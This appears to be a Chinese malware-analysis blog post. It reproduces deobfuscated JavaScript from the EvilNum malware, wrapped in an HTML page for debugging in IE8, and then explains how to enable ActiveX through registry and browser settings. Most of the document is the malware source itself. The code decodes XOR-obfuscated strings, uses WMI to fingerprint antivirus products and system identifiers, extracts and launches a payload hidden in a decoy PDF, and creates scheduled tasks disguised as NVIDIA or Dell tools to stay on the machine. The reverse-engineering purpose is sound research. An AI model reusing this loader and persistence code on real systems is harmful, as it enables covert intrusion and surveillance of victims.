Win7+ IE8

调试的HTML代码

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>建瓯最坏JavaScript脚本调试</title>
  6. </head>
  7. <body>
  8. <script>
  9. document.write("<h1>🐷🐷🐷</h1>");
  10. var WScript = new ActiveXObject("WScript.Shell");
  11. //先尝试看看能不能成功调用“ActiveXObject”创建对象
  12. try
  13. {
  14. var objADODBStream = new ActiveXObject("ADODB.Stream");
  15. }
  16. catch(errADODB)
  17. {
  18. document.write("尝试通过“ActiveXObject”创建流对象发生异常<br>");
  19. document.write("错误名称: " + errADODB.name + "<br>");
  20. document.write("错误信息: " + errADODB.message + "<br>");
  21. }
  22. function gVerFuncHandler()
  23. {
  24. document.write("gVerFuncHandler<br>");
  25. //"winmgmts:\\.\root\cimv2"
  26. var on = getStrFunc("L1krLAEkLEN/HTpnBEIqLhIVO1koN1RYMEVBZkk=");
  27. //var wmi = GetObject(on);
  28. //"SELECT Version FROM Win32_OperatingSystem"
  29. var qs = getStrFunc("KTAULgtmWiM9GTtbFRt4LRp9N1UPAiYBSCoXGy1AGwExBS9hAwYsDiV6dVhrSDI=");
  30. var items = wmi.ExecQuery(qs, "WQL", 0x30);
  31. var eit = new Enumerator(items);
  32. var wv = "";
  33. for (; !eit.atEnd(); eit.moveNext())
  34. {
  35. var it = eit.item();
  36. wv = it.Version;
  37. break;
  38. }
  39. if (!wv)
  40. {
  41. return "";
  42. }
  43. //把字符串作为URI组件进行编码。该方法不会对ASCII的字母、数字和标点符号进行编码
  44. return encodeURIComponent(Func6E(wv));
  45. }
  46. function getRI_Func(min, max)
  47. {
  48. document.write("getRI_Func<br>");
  49. return (Math.floor(Math.random() * (max + 1 - min)) + min);
  50. }
  51. function FuncXS(s)
  52. {
  53. document.write("FuncXS<br>");
  54. var es = "";
  55. var k = getK_Handler();
  56. for (var i=0 ; i<s.length ; ++i)
  57. {
  58. var sc = s.charCodeAt(i);
  59. var kc = k.charCodeAt(i % k.length);
  60. var xc = String.fromCharCode(sc ^ kc);
  61. es += xc;
  62. }
  63. return encodeURIComponent(Func6E(k+es));
  64. }
  65. function gSID_Handler()
  66. {
  67. document.write("gSID_Handler<br>");
  68. //"winmgmts:\\.\root\cimv2"
  69. var on = getStrFunc("L1krLAEkLEN/HTpnBEIqLhIVO1koN1RYMEVBZkk=");
  70. //var wmi = GetObject(on);
  71. //"SELECT UUID FROM Win32_ComputerSystemProduct"
  72. var qs = getStrFunc("CTInMHsteiI+PHxZHCUkOBguMxlYR2c6NRobAEwcKCQSBkwcNycZGlwMOQNad2t1OHk=");
  73. var items = wmi.ExecQuery(qs, "WQL", 0x30);
  74. var eit = new Enumerator(items);
  75. var sid = "";
  76. for (; !eit.atEnd(); eit.moveNext())
  77. {
  78. var it = eit.item();
  79. sid = it.UUID;
  80. break;
  81. }
  82. if (!sid)
  83. {
  84. return "";
  85. }
  86. var i=0;
  87. var sidLen = sid.length;
  88. var sui = "";
  89. while ((i + 1) < sidLen)
  90. {
  91. var s = (parseInt(sid.substring(i, i+2), 16) ^ 0x42).toString(16).toUpperCase();
  92. if (s.length < 2)
  93. {
  94. s = "0" + s;
  95. }
  96. sui += s;
  97. i += 2;
  98. if (i == sidLen)
  99. {
  100. break;
  101. }
  102. if (sid.charAt(i) == "-")
  103. {
  104. ++i;
  105. sui += "-"
  106. }
  107. }
  108. return encodeURIComponent(Func6E(sui));
  109. }
  110. //Read,读取某文件
  111. function FuncRd(pt)
  112. {
  113. document.write("FuncRd<br>");
  114. //读取参数(文件路径)以ISO-8859-1编码的流对象返回
  115. var ft = new ActiveXObject("ADODB.Stream");
  116. ft.Type = 2;
  117. ft.CharSet = "iso-8859-1";
  118. ft.Open();
  119. ft.LoadFromFile(pt);
  120. var ct = ft.ReadText(-1);
  121. ft.Close();
  122. ft = null;
  123. return ct;
  124. }
  125. function getStrFunc(bes)
  126. {
  127. document.write("getStrFunc<br>");
  128. var es = Func6D(bes);
  129. var esl = es.length;
  130. var k = es.substring(esl-6);
  131. var s = es.substring(0, esl-6);
  132. var ds = "";
  133. for (var i=0 ; i<s.length ; ++i)
  134. {
  135. var sc = s.charCodeAt(i);
  136. var kc = k.charCodeAt(i % k.length);
  137. //转成ASCII码后异或解密
  138. var xc = String.fromCharCode(sc ^ kc);
  139. ds += xc;
  140. }
  141. return ds;
  142. }
  143. //Base64Encode
  144. function Func6E(data)
  145. {
  146. document.write("Func6E<br>");
  147. var os = new ActiveXObject("ADODB.Stream");
  148. os.Type = 2;
  149. os.CharSet = "us-ascii";
  150. os.Open();
  151. os.WriteText(data);
  152. os.Position = 0;
  153. os.type = 1;
  154. var output = os.Read;
  155. os.Close();
  156. var xmlObj = new ActiveXObject("MSXML.DOMDocument");
  157. var de = xmlObj.createElement("Base64Data");
  158. de.dataType = "bin.base64";
  159. de.nodeTypedValue = output;
  160. return de.text;
  161. }
  162. //文件存在判断和文件操作
  163. function InitFunc()
  164. {
  165. document.write("InitFunc<br>");
  166. try
  167. {
  168. if (var1.FolderExists(mwd))
  169. {
  170. var1.DeleteFolder(mwd, true);
  171. }
  172. }
  173. catch(errFolderExists)
  174. {
  175. document.write("位置:FolderExists<br>");
  176. document.write("错误名称: " + errFolderExists.name + "<br>");
  177. document.write("错误信息: " + errFolderExists.message + "<br>");
  178. }
  179. try
  180. {
  181. pDirHandler(uwd);
  182. if (!var1.FolderExists(uwd))
  183. {
  184. var1.CreateFolder(uwd);
  185. }
  186. }
  187. catch(errpDirHandler)
  188. {
  189. document.write("位置:DirHandler<br>");
  190. document.write("错误名称: " + errpDirHandler.name + "<br>");
  191. document.write("错误信息: " + errpDirHandler.message + "<br>");
  192. }
  193. try
  194. {
  195. var1.CreateFolder(mwd);
  196. }
  197. catch(errCreateFolder)
  198. {
  199. document.write("位置:CreateFolder<br>");
  200. document.write("错误名称: " + errCreateFolder.name + "<br>");
  201. document.write("错误信息: " + errCreateFolder.message + "<br>");
  202. }
  203. var ic = false;
  204. while (!ic)
  205. {
  206. try
  207. {
  208. var1.CopyFile(WScript.ScriptFullName, wtp);
  209. ic = true;
  210. }
  211. catch(errIC)
  212. {
  213. document.write("位置:IC<br>");
  214. document.write("错误名称: " + errIC.name + "<br>");
  215. document.write("错误信息: " + errIC.message + "<br>");
  216. }
  217. }
  218. }
  219. function gvlFunc()
  220. {
  221. document.write("gvlFunc<br>");
  222. var as = "";
  223. try
  224. {
  225. "winmgmts:\\.\root\SecurityCenter"
  226. var on = getStrFunc("RFBfGQQIR0oLKD9Lb0teGxc5YFxSAREMR0ByEQ0RVkszOTF0Y2U=");
  227. //"AntiVirusProduct"
  228. var wif = getStrFunc("LVcFBR06HkwCPDk8CEwSGGw5cWxLUw==");
  229. var wmi = GetObject(on);
  230. var e = new Enumerator(wmi.InstancesOf(wif));
  231. for(; !e.atEnd(); e.moveNext())
  232. {
  233. var s = e.item();
  234. var n = s.displayName.toLowerCase();
  235. glas.push(n);
  236. as += n + "|";
  237. }
  238. on = getStrFunc("Tj9dBj00TSUJNwZ3ZSRcBC4FajNQHigwTS9wDjQtXCQBOVYza1pZ");
  239. wmi = GetObject(on);
  240. e = new Enumerator(wmi.InstancesOf(wif));
  241. for(; !e.atEnd(); e.moveNext())
  242. {
  243. var s = e.item();
  244. var n = s.displayName.toLowerCase();
  245. if (iTS(glas, n))
  246. {
  247. continue;
  248. }
  249. glas.push(n);
  250. as += n + "|";
  251. }
  252. as = as.substring(0, as.length-1);
  253. }
  254. catch(errgvlFunc)
  255. {
  256. document.write("位置:gvlFunc<br>");
  257. document.write("错误名称: " + errgvlFunc.name + "<br>");
  258. document.write("错误信息: " + errgvlFunc.message + "<br>");
  259. }
  260. return as;
  261. }
  262. //写文件
  263. function FuncWrt(pt, ct)
  264. {
  265. document.write("FuncWrt<br>");
  266. var ft = new ActiveXObject("ADODB.Stream");
  267. ft.Type = 2;
  268. ft.CharSet = "iso-8859-1";
  269. ft.Open();
  270. ft.WriteText(ct);
  271. ft.SaveToFile(pt, 2);
  272. ft.Close();
  273. ft = null;
  274. }
  275. //Time2String?返回时间字符串
  276. function tTOs(d)
  277. {
  278. document.write("tTOs<br>");
  279. var day = d.getDate().toString();
  280. var year = d.getFullYear().toString();
  281. var month = (d.getMonth() + 1).toString();
  282. var hour = d.getHours().toString();
  283. var mins = d.getMinutes().toString();
  284. var secs = d.getSeconds().toString();
  285. if (day.length < 2)
  286. {
  287. day = "0" + day;
  288. }
  289. if (month.length < 2)
  290. {
  291. month = "0" + month;
  292. }
  293. if (hour.length < 2)
  294. {
  295. hour = "0" + hour;
  296. }
  297. if (mins.length < 2)
  298. {
  299. mins = "0" + mins;
  300. }
  301. if (secs.length < 2)
  302. {
  303. secs = "0" + secs;
  304. }
  305. return (year + "-" + month + "-" + day + "T" + hour + ":" + mins + ":" + secs);
  306. }
  307. function TC2_Handler(uid, cd, iv)
  308. {
  309. document.write("TC2_Handler<br>");
  310. /*
  311. if (glas.length > 0)
  312. {
  313. */
  314. var sd = new Date(cd.getTime()+(1000*60*6));
  315. var wd = uwd2;
  316. ep = tsp2;
  317. var ar = "\"" + uid + "\" -f -t";
  318. //"Recommended Troubleshooting Scan"
  319. var tn = getStrFunc("Zyk7XjcnUCI8VD5qYT43RDgmUD8wXjU+XCI/EQkpVCI1TFgxWko=");
  320. Sct_Handler(ar, ep, wd, sd, iv, tn);
  321. /*}*/
  322. }
  323. try
  324. {
  325. document.write("入口处<br>");
  326. var var1 = new ActiveXObject("Scripting.FileSystemObject");
  327. var var2 = new ActiveXObject("WScript.Shell");
  328. var tph = var2.ExpandEnvironmentStrings("%TMP%");
  329. var lp = tph + "\\" + getStrFunc("MyoAdRF6PyEEE3tnSlR6MS0xVgk6KnhlVEFJVw==");
  330. var en = getStrFunc("BgcGD3QUEwNrZm9hWnE=");
  331. var adp = var2.ExpandEnvironmentStrings("%localappdata%");
  332. var mep = getStrFunc("OQRRBDMLFiZeEx0iACxcFB02Nhp+AiQAFmVJOGdBZA==");
  333. var uwd = adp + mep;
  334. var mwd = uwd + getStrFunc("LmpEPXI4N05zNA==");
  335. var wtf = getStrFunc("QCZGGjhhdBJxA0MaUyRGN0UyVXQ0");
  336. var wtp = mwd + "\\" + wtf;
  337. var uwd2 = "%localappdata%\\" + getStrFunc("dj4tEAYrGCsLJj8FSgkQPSAEZCYSGiAOXTQ3ID0PWQUNOig4aGRUT2o=");
  338. var ep = uwd + "\\" + en;
  339. var tsp = "%localappdata%" + mep + "\\" + en;
  340. //"%localappdata%\NVIDIA Corporation\NvNode\Streaming"
  341. var ep2 = uwd + "\\" + getStrFunc("BCI/Hl40CCJwR0xqcFE=");
  342. //"%localappdata%\NVIDIA Corporation\NvNode\Streaming\nvsphelper32.exe"
  343. var tsp2 = uwd2 + "\\" + getStrFunc("Pz0rFz0wPTs9FWZnfy4gAlFLWGdVVQ==");
  344. var glas = [];
  345. var ut = 2;
  346. var zd = "9348556E";
  347. var fnd = getStrFunc("KyEPB3xkeHwsYxomIjRPRHkxNFI=");
  348. //直接到解密完下断再看局部变量的值
  349. //自身为“wctOLUCWCV7.dat”的逻辑
  350. /*
  351. if (WScript.ScriptFullName == wtp)
  352. {
  353. WScript.Sleep(getRI_Func(30000, 40000));
  354. try
  355. {
  356. if (var1.FolderExists(mwd))
  357. {
  358. var1.DeleteFolder(mwd, true);
  359. }
  360. }
  361. catch(errScriptFullName)
  362. {
  363. document.write("位置:ScriptFullName<br>");
  364. document.write("错误名称: " + errScriptFullName.name + "<br>");
  365. document.write("错误信息: " + errScriptFullName.message + "<br>");
  366. }
  367. WScript.Sleep(getRI_Func(30000, 40000));*/
  368. StartFunc();
  369. clFunc();
  370. /*}
  371. else
  372. { //首次运行逻辑
  373. pswFunc(var2.CurrentDirectory);
  374. InitFunc();
  375. var1.DeleteFile(WScript.ScriptFullName);
  376. var a = getStrFunc("ChYaBloZHUVbWxwsUy8qF0EAGRFbaWV5dDNp");
  377. var s = a + " \"" + wtp + "\"";
  378. var2.Run(s, 0, 0);
  379. }*/
  380. }
  381. catch(errTRY)
  382. {
  383. document.write("位置:TRY<br>");
  384. document.write("错误名称: " + errTRY.name + "<br>");
  385. document.write("错误信息: " + errTRY.message + "<br>");
  386. }
  387. //WScript.Quit();
  388. function getGlobalsEnv()
  389. {
  390. document.write("getGlobalsEnv<br>");
  391. //ComputerName
  392. var ud = var2.ExpandEnvironmentStrings(getStrFunc("azkeMSAuASEMPTxPTmxNdHJq"));
  393. //UserName
  394. var un = var2.ExpandEnvironmentStrings(getStrFunc("QS0RLQgkJTUHTWR4Qmhaag=="));
  395. //再通过“FuncXS”编码
  396. return FuncXS(ud + "\\" + un);
  397. }
  398. function Func_TC_GV(uid, cd, eav, ewv, edn)
  399. {
  400. document.write("Func_TC_GV<br>");
  401. /*
  402. if (!testFunc1())
  403. {
  404. return;
  405. }
  406. */
  407. var tsl = [["Slg6JwwiDkQlIAw6DhEJACgCI2gRIQEiIls3LQErLFs7KggtG2gRMQA+HGgBIQ4mO1s6KAYnGxowPAhvNFVEbU4=", "Rl8GJlQtAkMZIVQ1AhY1AXANL28tIFktLlwLLFkkIFwHK1AiF28tMFgxEGMzaUU1QQ==", "aRheHQkxTRN1CAoqVwNFBAMtahNfDjlqMW1sQw==", "ZwNzBTdXRU1zdw=="], ["RlVBJVZYF1UUCX9YBlgRHV1LGWh5LXYZK1FJdXddCkBeJ251DFNCCVxPAkRYIBxcG1FjNDFVMjk=", "FVZJJ10ZRFYcC3QZVVsZH1YKSmtxL31YeFJBd3wcWUNWJWU0X1BKMDc5Vzl4", "NBlRHzMzCx8ZPjIgFRteZ3o5eldG", "EzFRMENlZHh0eA=="]];
  408. for (var i=0 ; i<tsl.length ; ++i)
  409. {
  410. //td是4个元素(加密字符串构成的)的数组
  411. var td = tsl[i];
  412. //"%localappdata%\DELL\DellMobileConnect\Dumps\TechToolkit.exe"
  413. var epp = getStrFunc(td[0]);
  414. //"%localappdata%\DELL\DellMobileConnect\Dumps"
  415. var wd = getStrFunc(td[1]);
  416. //"PropertyDefinitionSync"
  417. var tn = getStrFunc(td[2]);
  418. //"PT6H"
  419. var iv = getStrFunc(td[3]);
  420. var m = getRI_Func(1000*60*60*24, 1000*60*60*168);
  421. var sd = new Date(cd.getTime()+m);
  422. //""StringUID" "dev6H678UR.tmp" "NDI4OTE3dVxMUGdeRkdLaUNYUEdbTQ%3D%3D" "WindowsVersion" 0 "9348556E" "OTM5MzYxenx0Y2NlfGF3cnt0ZXJdXl9fUEBNQVdFVkE%3D" 2"
  423. var ar = "\"" + uid + "\" \"" + fnd + "\" \"" +
  424. eav + "\" \"" + ewv + "\" 0 \"" + zd + "\" \"" + edn + "\" " + ut.toString();
  425. Sct_Handler(ar, epp, wd, sd, iv, tn);
  426. //"%appdata%\Mael Horz\HxD Hex Editor\Logs\nvapiu.exe"+"%appdata%\Mael Horz\HxD Hex Editor\Logs"+"Schedule Defrag"+"PT5H"
  427. }
  428. }
  429. //Base64Decode,Base64解码
  430. function Func6D(data)
  431. {
  432. document.write("Func6D<br>");
  433. //无法通过“WScript.CreateObject”创建对象
  434. //懒得找原因了,用“ActiveXObject”替代“WScript.CreateObject”
  435. //var xmlObj = WScript.CreateObject("MSXML.DOMDocument");
  436. var xmlObj = new ActiveXObject("MSXML.DOMDocument");
  437. var de = xmlObj.createElement("Base64Data");
  438. de.dataType = "bin.base64";
  439. de.text = data;
  440. //返回US-ASCII编码
  441. var os = new ActiveXObject("ADODB.Stream");
  442. os.Type = 1;
  443. os.Open();
  444. os.Write(de.nodeTypedValue);
  445. os.Position = 0;
  446. os.type = 2;
  447. os.CharSet = "us-ascii";
  448. var output = os.ReadText;
  449. os.Close();
  450. return output
  451. }
  452. function pDirHandler(p)
  453. {
  454. document.write("pDirHandler<br>");
  455. var pf = var1.GetParentFolderName(p);
  456. try
  457. {
  458. if (var1.FolderExists(pf)) {
  459. return;
  460. }
  461. var1.CreateFolder(pf);
  462. }
  463. catch(errpDirHandler)
  464. {
  465. document.write("位置:pDirHandler<br>");
  466. document.write("错误名称: " + errpDirHandler.name + "<br>");
  467. document.write("错误信息: " + errpDirHandler.message + "<br>");
  468. }
  469. }
  470. //计划任务
  471. function Sct_Handler(ar, ep, wd, sd, iv, tn)
  472. {
  473. document.write("函数Sct_Handler:创建计划任务<br>");
  474. try
  475. {
  476. var ts = new ActiveXObject("Schedule.Service");
  477. ts.Connect();
  478. var rf = ts.GetFolder("\\");
  479. var tf = ts.NewTask(0);
  480. var ri = tf.RegistrationInfo;
  481. ri.Description = "";
  482. ri.Author = "";
  483. var tst = tf.Settings;
  484. tst.Enabled = true;
  485. tst.StartWhenAvailable = true;
  486. tst.Hidden = false;
  487. tst.DisallowStartIfOnBatteries = false;
  488. tst.StopIfGoingOnBatteries = false;
  489. tst.AllowHardTerminate = false;
  490. tst.ExecutionTimeLimit = "PT0S";
  491. var ids = tst.IdleSettings;
  492. ids.RestartOnIdle = false;
  493. ids.StopOnIdleEnd = false;
  494. var tt = tf.Triggers;
  495. var tr = tt.Create(1);
  496. tr.StartBoundary = tTOs(sd);
  497. tr.Enabled = true;
  498. tr.Repetition.Interval = iv;
  499. var ta = tf.Actions.Create(0);
  500. ta.Path = ep;
  501. ta.Arguments = ar;
  502. ta.WorkingDirectory = wd;
  503. //"RegisterTaskDefinition"
  504. rf[getStrFunc("KjMhLiUlHSQSJiU6PDMgLjg4DD8pKXhWRkdWUQ==")](tn, tf, 2, "","", 3);
  505. return true;
  506. }
  507. catch(errSct_Handler)
  508. {
  509. document.write("位置:Sct_Handler<br>");
  510. document.write("错误名称: " + errSct_Handler.name + "<br>");
  511. document.write("错误信息: " + errSct_Handler.message + "<br>");
  512. }
  513. return false;
  514. }
  515. //Clear,删除指定文件
  516. function clFunc()
  517. {
  518. document.write("clFunc<br>");
  519. try
  520. {
  521. var sf = var1.GetFile(lp);
  522. sf.attributes = 128;
  523. var1.DeleteFile(lp);
  524. }
  525. catch(errclFunc)
  526. {
  527. document.write("位置:clFunc<br>");
  528. document.write("错误名称: " + errclFunc.name + "<br>");
  529. document.write("错误信息: " + errclFunc.message + "<br>");
  530. }
  531. }
  532. function pswFunc(cd)
  533. {
  534. document.write("pswFunc<br>");
  535. try
  536. {
  537. var fd = FuncRd(lp);
  538. cd = cd.toLowerCase();
  539. if
  540. (
  541. cd.substring(0, 4) == getStrFunc("DWlkRm5TODFxdA==") &&
  542. cd.substring(cd.length-3) == getStrFunc("AFx2bW9Eb1By")
  543. )
  544. {
  545. var2.CurrentDirectory = tph;
  546. }
  547. var so = 3449;
  548. var ln = 30793;
  549. var eo = so+ln;
  550. var t = fd.slice(so, eo);
  551. var n = getStrFunc("LSM1cj9IISgxFFVVVF1PNgMDZmxhRmdl");
  552. FuncWrt(n, FXD_Func(t, true));
  553. WScript.Sleep(200);
  554. var2.Run("\"" + n + "\"", 1, 0);
  555. }
  556. catch(errpswFunc)
  557. {
  558. document.write("位置:pswFunc<br>");
  559. document.write("错误名称: " + errpswFunc.name + "<br>");
  560. document.write("错误信息: " + errpswFunc.message + "<br>");
  561. }
  562. }
  563. function getK_Handler()
  564. {
  565. document.write("getK_Handler<br>");
  566. var s = "";
  567. var l = 6;
  568. var d = "123456789";
  569. for (var i=0 ; i<l ; ++i)
  570. {
  571. s += d.charAt(Math.floor(d.length * Math.random()));
  572. }
  573. return s;
  574. }
  575. function FXD_Func(data, rep)
  576. {
  577. document.write("FXD_Func<br>");
  578. var tb =
  579. {
  580. 8364: 128,
  581. 8218: 130,
  582. 402: 131,
  583. 8222: 132,
  584. 8230: 133,
  585. 8224: 134,
  586. 8225: 135,
  587. 710: 136,
  588. 8240: 137,
  589. 352: 138,
  590. 8249: 139,
  591. 338: 140,
  592. 381: 142,
  593. 8216: 145,
  594. 8217: 146,
  595. 8220: 147,
  596. 8221: 148,
  597. 8226: 149,
  598. 8211: 150,
  599. 8212: 151,
  600. 732: 152,
  601. 8482: 153,
  602. 353: 154,
  603. 8250: 155,
  604. 339: 156,
  605. 382: 158,
  606. 376: 159
  607. };
  608. var l = data.charCodeAt(0);
  609. var k = data.slice(1, 1+l);
  610. var d = data.slice(1+l+4);
  611. var kb = [];
  612. for (var i=0 ; i<k.length ; ++i)
  613. {
  614. var kc = k.charCodeAt(i);
  615. if (tb[kc])
  616. {
  617. kc = tb[kc];
  618. }
  619. kb.push(kc);
  620. }
  621. var nd = "";
  622. var ldc = 0;
  623. for (var i=0, j=0 ; i<d.length ; ++i, ++j)
  624. {
  625. var kc = kb[j % kb.length];
  626. var dc = d.charCodeAt(i);
  627. if (tb[dc])
  628. {
  629. dc = tb[dc];
  630. }
  631. if (rep)
  632. {
  633. if (ldc == 60 && dc == 0xff)
  634. {
  635. if (i+3<d.length)
  636. {
  637. var d1 = d.charCodeAt(i+1);
  638. var d2 = d.charCodeAt(i+2);
  639. var d3 = d.charCodeAt(i+3);
  640. if (d1 == dc && d2 == dc && d3 == dc)
  641. {
  642. dc = 37;
  643. i += 3;
  644. }
  645. }
  646. }
  647. }
  648. nd += String.fromCharCode(dc ^ kc);
  649. ldc = dc;
  650. }
  651. return nd;
  652. }
  653. function StartFunc()
  654. {
  655. document.write("StartFunc<br>");
  656. try
  657. {
  658. //保证有lp(%TEMP%\KOT4X-GDPR2021.pdf)存在
  659. /*
  660. var fd = FuncRd(lp);
  661. var l = 522397;
  662. var eo = fd.length;
  663. var so = eo-l;
  664. var q = fd.slice(so, eo);
  665. FuncWrt(ep2, FXD_Func(q, false));
  666. var1.CopyFile(ep2, ep);
  667. var1.DeleteFile(ep2);
  668. */
  669. //var uid = gSID_Handler();
  670. var uid = "StringUID";
  671. var cd = new Date();
  672. var sd = new Date(cd.getTime()+(1000*60));
  673. var wd = uwd;
  674. var epp = tsp;
  675. //var eav = FuncXS(gvlFunc());
  676. var eav = FuncXS("AntiVirusProduct");
  677. //var ewv = gVerFuncHandler();
  678. var ewv = "WindowsVersion";
  679. var edn = getGlobalsEnv();
  680. var ar = "-p\"AXkUJk\" -sp\"\"\"" + uid + "\"\" \"\"" + fnd + "\"\" \"\"" + eav + "\"\" \"\"" + ewv + "\"\" 0 \"\"" + zd + "\"\" \"\"" + edn + "\"\" " + ut.toString() + "\"";
  681. var tn = getStrFunc("LSRRGiEBADBcFRUKASZaAykdBj9TBS8cAW9FMnFGcw==");
  682. var iv = "PT3H";
  683. Sct_Handler(ar, epp, wd, sd, iv, tn);
  684. Func_TC_GV(uid, cd, eav, ewv, edn);
  685. TC2_Handler(uid, cd, iv);
  686. }
  687. catch(errStartFunc)
  688. {
  689. document.write("位置:StartFunc<br>");
  690. document.write("错误名称: " + errStartFunc.name + "<br>");
  691. document.write("错误信息: " + errStartFunc.message + "<br>");
  692. }
  693. }
  694. function testFunc1()
  695. {
  696. document.write("testFunc1<br>");
  697. try
  698. {
  699. /*
  700. if (glas.length == 0)
  701. {
  702. return false
  703. }
  704. */
  705. //"avast"
  706. var s = getStrFunc("CDwZQx5pSngwalE=");
  707. //"avg"
  708. var g = getStrFunc("Ekc+czFZZWh4");
  709. for (var i=0 ; i<glas.length ; ++i)
  710. {
  711. var a = glas[i];
  712. if (a.indexOf(s) != -1 || a.indexOf(g) != -1)
  713. {
  714. return true
  715. }
  716. }
  717. }
  718. catch(errptestFunc1)
  719. {
  720. document.write("位置:testFunc1<br>");
  721. document.write("错误名称: " + errptestFunc1.name + "<br>");
  722. document.write("错误信息: " + errptestFunc1.message + "<br>");
  723. }
  724. return false;
  725. }
  726. function iTS(arr, d)
  727. {
  728. document.write("iTS<br>");
  729. for (var j=0 ; j<arr.length ; ++j)
  730. {
  731. if (arr[j] == d)
  732. {
  733. return true;
  734. }
  735. }
  736. return false;
  737. }
  738. document.write("<h1>鼓掌🥳<h1>");
  739. </script>
  740. <p>
  741. 👩‍💻脚本已结束👩‍💻
  742. </p>
  743. </body>
  744. </html>

错误

Automation服务器不能创建对象
Automation服务器不能创建对象 | EvilNum的JavaScript - 图1

IE设置💔💔💔

已经按照百度到的很多要求设置IE的Internet选项都不行:
Automation服务器不能创建对象 | EvilNum的JavaScript - 图2

注册表💜💜💜

最后在注册表中设置Internet Explorer\ActiveX Compatibility\{00000566-0000-0010-8000-00AA006D2EA4}\Compatibility Flags的值为0,即可:
Automation服务器不能创建对象 | EvilNum的JavaScript - 图3

CLSID

还有其他的问题的话,通过catch错误码查看错误类型,或者找到对应代码查看其错误的对象类型,修改注册表中对应CLSID的值。
CLSID

成功💫💫💫

允许阻止的内容

Automation服务器不能创建对象 | EvilNum的JavaScript - 图4

安全警告-是

Automation服务器不能创建对象 | EvilNum的JavaScript - 图5

允许ActiveX交互

Automation服务器不能创建对象 | EvilNum的JavaScript - 图6

F12进行调试

停止运行脚本

Automation服务器不能创建对象 | EvilNum的JavaScript - 图7

脚本窗口

F5:开始调试
F9:下断点
F10:逐过程调试
F11:逐语句调试
Automation服务器不能创建对象 | EvilNum的JavaScript - 图8
没运行起来看看是不是IE窗口(上面是调试窗口),有允许ActiveX交互弹框没确认,没有弹框就按一下F5:
Automation服务器不能创建对象 | EvilNum的JavaScript - 图9

调试状态

Automation服务器不能创建对象 | EvilNum的JavaScript - 图10